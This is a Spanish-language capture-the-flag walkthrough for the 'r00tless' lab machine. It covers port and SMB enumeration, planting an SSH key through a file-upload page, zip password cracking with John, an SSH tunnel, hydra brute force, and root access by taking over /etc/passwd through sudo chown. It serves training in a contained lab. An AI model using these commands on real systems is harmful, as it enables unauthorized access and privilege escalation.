CTF r00tless Hard
URL Download CTF = https://drive.google.com/file/d/19JeGAZUDswHKwCMeI_2qpqn6aZKDZa7V/view?usp=sharing
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip r00tless.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_mount.sh r00tless.tar
Info:
___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5
## ## ## #### ### ## ####### ###### #### ## ###### #####
## ## #### ## ## ## ## ## # ## ## ## #### ## ## ## ##
## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## #
####### ## ## ## #### #### ##### ## ## ## ##### #####
## ## ###### ## ## ## ## # ## ## ## # ###### ## ## ##
## ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## ## ## ##
## ## ## ## #### ### ## ####### #### ## ####### ## ## ###### #####
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.22.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 09:58 EDT
Nmap scan report for 172.22.0.2
Host is up (0.000023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 fa:7b:d3:96:f6:83:bb:bd:24:86:b4:a8:f6:59:c3:62 (ECDSA)
|_ 256 29:49:38:ae:44:75:d8:88:2a:b6:98:55:00:bd:24:76 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Subir Archivo
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:16:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-08-27T13:58:52
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.80 seconds
Vemos que hay varios puertos, por lo que probaremos a enumerar el smb
para ver que usuarios hay en el sistema y si podemos aprovechar algo.
enum4linux <IP>
Info:
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Aug 27 10:11:56 2024
=========================================( Target Information )=========================================
Target ........... 172.22.0.2
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=============================( Enumerating Workgroup/Domain on 172.22.0.2 )=============================
[E] Can't find workgroup/domain
=================================( Nbtstat Information for 172.22.0.2 )=================================
Looking up status of 172.22.0.2
No reply from 172.22.0.2
====================================( Session Check on 172.22.0.2 )====================================
[+] Server 172.22.0.2 allows sessions using username '', password ''
=================================( Getting domain SID for 172.22.0.2 )=================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
====================================( OS information on 172.22.0.2 )====================================
[E] Can't get OS info with smbclient
[+] Got OS info for 172.22.0.2 from srvinfo:
7B49AC00696D Wk Sv PrQ Unx NT SNT 7b49ac00696d server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
========================================( Users on 172.22.0.2 )========================================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: sambauser Name: sambauser Desc:
user:[sambauser] rid:[0x3e8]
==================================( Share Enumeration on 172.22.0.2 )==================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
read_only_share Disk
IPC$ IPC IPC Service (7b49ac00696d server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 172.22.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 172.22.0.2
//172.22.0.2/print$ Mapping: DENIED Listing: N/A Writing: N/A
//172.22.0.2/read_only_share Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_CONNECTION_REFUSED listing \*
//172.22.0.2/IPC$ Mapping: N/A Listing: N/A Writing: N/A
=============================( Password Policy Information for 172.22.0.2 )=============================
[+] Attaching to 172.22.0.2 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] 7B49AC00696D
[+] Builtin
[+] Password Info for Domain: 7B49AC00696D
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
========================================( Groups on 172.22.0.2 )========================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
===================( Users on 172.22.0.2 via RID cycling (RIDS: 500-550,1000-1050) )===================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\root-false (Local User)
S-1-22-1-1001 Unix User\sambauser (Local User)
S-1-22-1-1002 Unix User\less (Local User)
S-1-22-1-1003 Unix User\passsamba (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-5-21-2263886039-4032163646-1459889052 and logon username '', password ''
S-1-5-21-2263886039-4032163646-1459889052-501 7B49AC00696D\nobody (Local User)
S-1-5-21-2263886039-4032163646-1459889052-513 7B49AC00696D\None (Domain Group)
S-1-5-21-2263886039-4032163646-1459889052-1000 7B49AC00696D\sambauser (Local User)
================================( Getting printer info for 172.22.0.2 )================================
No printers returned.
enum4linux complete on Tue Aug 27 10:12:41 2024
No vemos que podamos hacer nada, ya que el usuario sambauser
necesita contarseña, pero vemos otro llamado passsamba
que de momento poco podemos hacer.
Por lo que iremos a la pagina que esta en el apache2.
Vemos que podemos subir archivos, pero no podemos hacer reverse shell
ni nada parecido, por lo que haremos fuzzing a ver que encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.22.0.2/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/.htaccess.html (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.htaccess.txt (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd.php (Status: 403) [Size: 275]
/.htpasswd.html (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 2410]
/readme.txt (Status: 200) [Size: 78]
/server-status (Status: 403) [Size: 275]
/upload.php (Status: 200) [Size: 56]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Vemos que hay un /readme.txt
, si leemos el .txt
veremos lo siguiente.
It may be that the file that is being uploaded is being uploaded in a .ssh/?
Por lo que si lo que se sube, se sube a la carpeta de .ssh/
podremos hacer lo siguiente.
Subir clave publica (id_rsa.pub y authorized_keys)
Copiaremos nuestra id_rsa.pub
a nuestro directorio actual.
Si no tenemos una Clave privada y publica
haremos lo siguiente.
ssh-keygen -t rsa -b 4096
Una vez creadas las claves, haremos lo siguiente.
cp ~/.ssh/id_rsa.pub .
Ahora creamos el archivo authorized_keys
con el contenido del id_rsa.pub
.
cat id_rsa.pub > authorized_keys
Una vez teniendo los archivos, subiremos esos dos archivos mediante la pagina.
Una vez seleccionados los 2 archivos y subidos correctamente (Tendra que ponerte este mensaje en la pagina...)
Tipo MIME detectado: text/plain
Nombre del archivo subido: id_rsa.pub
Archivo subido correctamente.
Tipo MIME detectado: text/plain
Nombre del archivo subido: authorized_keys
Archivo subido correctamente.
SSH con id_rsa
Nos conectaremos mediante ssh
con nuestra id_rsa
privada y poniendo el usuario que vimos anteriormente en le enum4linux
de la siguiente forma (En tal caso de que no supieras el usuario seria ir probando hasta que te dejara entrar con uno de ellos).
ssh -i ~/.ssh/id_rsa passsamba@<IP>
Una vez hecho esto ya estariamos dentro veremos un archivo llamado note.txt
que dice lo siguiente.
What would "sambaarribasiempre" be used for?
Vemos que es una posible contraseña del usuario sambauser
en el puerto de smb
.
Escalate user root-false
SMB
Nos conectaremos con el recurso compartido que vimos anteriormente y el usuario llamado sambauser
.
smbclient //<IP>/read_only_share -U sambauser
Metemos la contraseña sambaarribasiempre
y veremos que estamos dentro, si listamos veremos lo siguiente.
. D 0 Tue Aug 27 05:21:22 2024
.. D 0 Tue Aug 27 05:21:22 2024
secret.zip N 242 Tue Aug 27 05:21:14 2024
Hay un archivo .zip
que nos descargaremos.
get secret.zip
Una vez descargado, nos saldremos del smb
y lo intentaremos descomprimir, pero veremos que necesita contraseña, por lo que haremos lo siguiente.
zip2john
zip2john secret.zip > hash
john --wordlist=<WORDLIST> hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwert (secret.zip/secret.txt)
1g 0:00:00:00 DONE (2024-08-27 10:22) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s 123456..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Una vez teniendo la contraseña, ahora si lo descomprimiremos.
unzip
unzip secret.zip
Metemos la contraseña qwert
.
Vemos que se nos descomprimio un archivo llamado secret.txt
que su contenido es el siguiente.
root-false:cGFzc3dvcmRiYWRzZWN1cmV1bHRyYQ==
Si decodificamos ese Base64
veremos que la contraseña del usuario root-false
es.
passwordbadsecureultra
Por lo que nos conectaremos mediante ssh
.
SSH root-false
ssh root-false@<IP>
Metemos la contraseña obtenida y ya estaremos dentro, veremos un archico llamado message.txt
que pondra lo siguiente.
Mario, remember this word, then the boss will get angry:
"pinguinodemarioelmejor"
Pero de momento no podremos hacer mucho con ello.
Escalate user less
Si vemos las IP's que tenemos con el siguiente comando.
ip a
Info:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
21: eth0@if22: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:16:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.22.0.2/16 brd 172.22.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet 10.10.11.5/24 scope global eth0
valid_lft forever preferred_lft forever
Vemos que hay otra IP a parte de la principal, por lo que la podremos tunelizar hacia nuestro host, igualmente, si vemos los puertos que estan corriendo con netstat
veremos que hay un puerto 80
en la IP 10.10.11.5
corriendo, por lo que podremos hacer lo siguiente sabiendo eso.
Tunelizar puerto 80 de la IP secundaria
Tunelizaremos la IP secuandaria con el puerto 80
a nuestro host en el puerto 8080
.
ssh -L 8080:10.10.11.5:80 root-false@<IP>
Una vez hecho esto y metida la contraseña, podremos meternos en la pagina web que esta corriendo en esa IP de la siguiente forma.
http://localhost:8080/
Y veremos un login, si recordamos antes vimos un archivo .txt
que mencionaba a un usuario llamado mario
y una posible contraseña.
User = mario
Pass = pinguinodemarioelmejor
Si metemos esas credenciales, veremos que nos hemos logueado, dentro de esa especie de panel, si inspeccionamos el codigo, a la derecha del todo, vemos un mensaje que dice lo siguiente.
<!--ultramegatextosecret.txt-->
Por lo que vemos puede ser una parte de la ruta de la URL, pondremos lo siguiente.
URL = http://localhost:8080/ultramegatextosecret.txt
Y veremos lo siguiente.
En el reino de los hongos, se encontraba un lugar mágico y poco conocido: el Bosque de Nieve Eterna. Este bosque estaba cubierto de un manto blanco y brillante todo el año, y albergaba muchas criaturas fantásticas y secretos ocultos. Entre ellos, habÃa una leyenda que hablaba de un pingüino muy especial que guardaba un gran secreto.
El pingüino en cuestión no era un pingüino común. Se llamaba Pinguino y era el guardián de un antiguo artefacto mágico conocido como el Cristal de la Aurora. Según la leyenda, el Cristal tenÃa el poder de controlar el clima y podÃa traer tanto la eterna primavera como un invierno sin fin, dependiendo de la voluntad de su portador.
Una tarde, mientras Mario exploraba el Bosque de Nieve Eterna, llegó a un claro donde vio a Pinguino deslizarse alegremente por una pista de hielo. Mario, siempre curioso, se acercó al pingüino y le preguntó sobre el cristal.
Pinguino, con una mirada sabia en sus ojos, le dijo a Mario que el Cristal de la Aurora estaba escondido en una cueva secreta bajo el lago helado del bosque. Sin embargo, solo el corazón puro y valiente de un verdadero héroe podrÃa encontrarlo. La entrada a la cueva estaba oculta por una mágica capa de hielo que solo se derretÃa cuando alguien con buenas intenciones realizaba un acto de bondad.
Mario decidió aceptar el desafÃo. Durante su travesÃa, ayudó a los habitantes del bosque: rescató a un grupo de conejos atrapados en una tormenta de nieve, reparó una antigua fuente que habÃa sido dañada por un deshielo imprevisto y, sobre todo, demostró su valentÃa enfrentando a una banda de Koopa Troopas que habÃan estado causando estragos en la región.
Al realizar estos actos de bondad, el hielo sobre el lago comenzó a derretirse, revelando una entrada oculta en la cueva. Mario entró con cuidado y, con la guÃa de Pinguino, encontró el Cristal de la Aurora brillando en su pedestal.
El pingüino le explicó que el cristal no solo tenÃa el poder de controlar el clima, sino que también representaba el equilibrio y la armonÃa entre las estaciones. Mario comprendió que era esencial mantener ese equilibrio para el bienestar de todo el reino.
Con el Cristal_de_la_Aurora a salvo, Mario y Pinguino regresaron al claro del bosque. El pingüino le agradeció a Mario por su valentÃa y bondad, y le dijo que siempre podrÃa contar con el bosque para cualquier futuro desafÃo.
Desde ese dÃa, Mario visitó el Bosque de Nieve Eterna cada vez que necesitaba un consejo sabio, y la leyenda del pingüino guardián del cristal se convirtió en una historia popular en el Reino de los Hongos, recordando a todos que la bondad y la valentÃa siempre encuentran su recompensa.
by less
Vemos un texto bastante largo, por lo que alguna de estas palabras podria contener la contraseña del usuario less
, nos crearemos un script en python3
para crear un diccionario con todas estas palabras y asi tirarle un hydra
.
script python3
generate_dic.py
import re
# Texto proporcionado (puedes reemplazar este bloque con el tuyo)
texto = """
En el reino de los hongos, se encontraba un lugar mágico y poco conocido: el Bosque de Nieve Eterna. Este bosque estaba cubierto de un manto blanco y brillante todo el año,
y albergaba muchas criaturas fantásticas y secretos ocultos. Entre ellos, habÃa una leyenda que hablaba de un pingüino muy especial que guardaba un gran secreto.
El pingüino en cuestión no era un pingüino común. Se llamaba Pinguino y era el guardián de un antiguo artefacto mágico conocido como el Cristal de la Aurora. Según la l
eyenda, el Cristal tenÃa el poder de controlar el clima y podÃa traer tanto la eterna primavera como un invierno sin fin, dependiendo de la voluntad de su portador.
Una tarde, mientras Mario exploraba el Bosque de Nieve Eterna, llegó a un claro donde vio a Pinguino deslizarse alegremente por una pista de hielo. Mario, siempre curioso, se
acercó al pingüino y le preguntó sobre el cristal.
Pinguino, con una mirada sabia en sus ojos, le dijo a Mario que el Cristal de la Aurora estaba escondido en una cueva secreta bajo el lago helado del bosque. Sin embargo, solo
el corazón puro y valiente de un verdadero héroe podrÃa encontrarlo. La entrada a la cueva estaba oculta por una mágica capa de hielo que solo se derretÃa cuando alguien
con buenas intenciones realizaba un acto de bondad.
Mario decidió aceptar el desafÃo. Durante su travesÃa, ayudó a los habitantes del bosque: rescató a un grupo de conejos atrapados en una tormenta de nieve, reparó una an
tigua fuente que habÃa sido dañada por un deshielo imprevisto y, sobre todo, demostró su valentÃa enfrentando a una banda de Koopa Troopas que habÃan estado causando estr
agos en la región.
Al realizar estos actos de bondad, el hielo sobre el lago comenzó a derretirse, revelando una entrada oculta en la cueva. Mario entró con cuidado y, con la guÃa de Pinguino
, encontró el Cristal de la Aurora brillando en su pedestal.
El pingüino le explicó que el cristal no solo tenÃa el poder de controlar el clima, sino que también representaba el equilibrio y la armonÃa entre las estaciones. Mario c
omprendió que era esencial mantener ese equilibrio para el bienestar de todo el reino.
Con el Cristal_de_la_Aurora a salvo, Mario y Pinguino regresaron al claro del bosque. El pingüino le agradeció a Mario por su valentÃa y bondad, y le dijo que siempre podrÃ
a contar con el bosque para cualquier futuro desafÃo.
Desde ese dÃa, Mario visitó el Bosque de Nieve Eterna cada vez que necesitaba un consejo sabio, y la leyenda del pingüino guardián del cristal se convirtió en una histori
a popular en el Reino de los Hongos, recordando a todos que la bondad y la valentÃa siempre encuentran su recompensa.
by less
"""
# Normalizar el texto eliminando signos de puntuación, pero conservando guiones bajos y mayúsculas
texto = re.sub(r'[^\w\s_]', '', texto) # Eliminar signos de puntuación excepto guiones bajos
# Dividir el texto en palabras
palabras = texto.split()
# Obtener las palabras únicas
palabras_unicas = set(palabras)
# Imprimir las palabras únicas
for palabra in sorted(palabras_unicas):
print(palabra)
chmod +x generate_dic.py
Y lo ejecutamos.
python3 generate_dic.py > dic.txt
Y ahora con ese diccionario, tiramos un hydra
.
hydra
hydra -l less -P dic.txt ssh://<IP> -t 64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-27 10:54:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 223 login tries (l:1/p:223), ~4 tries per task
[DATA] attacking ssh://172.23.0.2:22/
[22][ssh] host: 172.23.0.2 login: less password: Cristal_de_la_Aurora
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 20 final worker threads did not complete until end.
[ERROR] 20 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-27 10:54:13
Vemos que sacamos las credenciales de less
, por lo que haremos lo siguiente.
SSH user less
ssh less@<IP>
Metemos la contraseña obtenida y ya estariamos dentro, por lo que leeremos la flag.
user.txt
381484fa9a5dfc3f62f0883a1297700c
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente.
Matching Defaults entries for less on be541860503e:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User less may run the following commands on be541860503e:
(ALL : ALL) NOPASSWD: /bin/chown
Vemos que podemos ejecutar como root
el binario chown
por lo que haremos lo siguiente.
sudo chown less:less /etc/passwd
Ahora en nuestro host generamos una contraseña para implementarle a root
en el archivo passwd
de la siguiente forma.
openssl passwd -6 '1234'
Info:
$6$/6tlJOl0i8/AdQok$IFeQVcqfzNLsWPiv7Q14tXtEi2uKehCNSKO8AagiKPqFU7lx2hDgwFs02OxGTXScpB7jRQMqs9zagrmNk19s6.
Ese texto generado, lo tendremos que sustituir por la x
donde esta el usuario root
de la siguiente forma.
nano /etc/passwd
De estar asi:
root:x:0:0:root:/root:/bin/bash
Ha estar asi:
root:$6$/6tlJOl0i8/AdQok$IFeQVcqfzNLsWPiv7Q14tXtEi2uKehCNSKO8AagiKPqFU7lx2hDgwFs02OxGTXScpB7jRQMqs9zagrmNk19s6.:0:0:root:/root:/bin/bash
Guardamos el archivo y ahora haremos lo siguiente.
su root
Ponemos la contraseña que generamos en mi caso 1234
y ya seremos root
por lo que leeremos la flag.
root.txt
ba10787e7f3a49c890439a44515da649
Last updated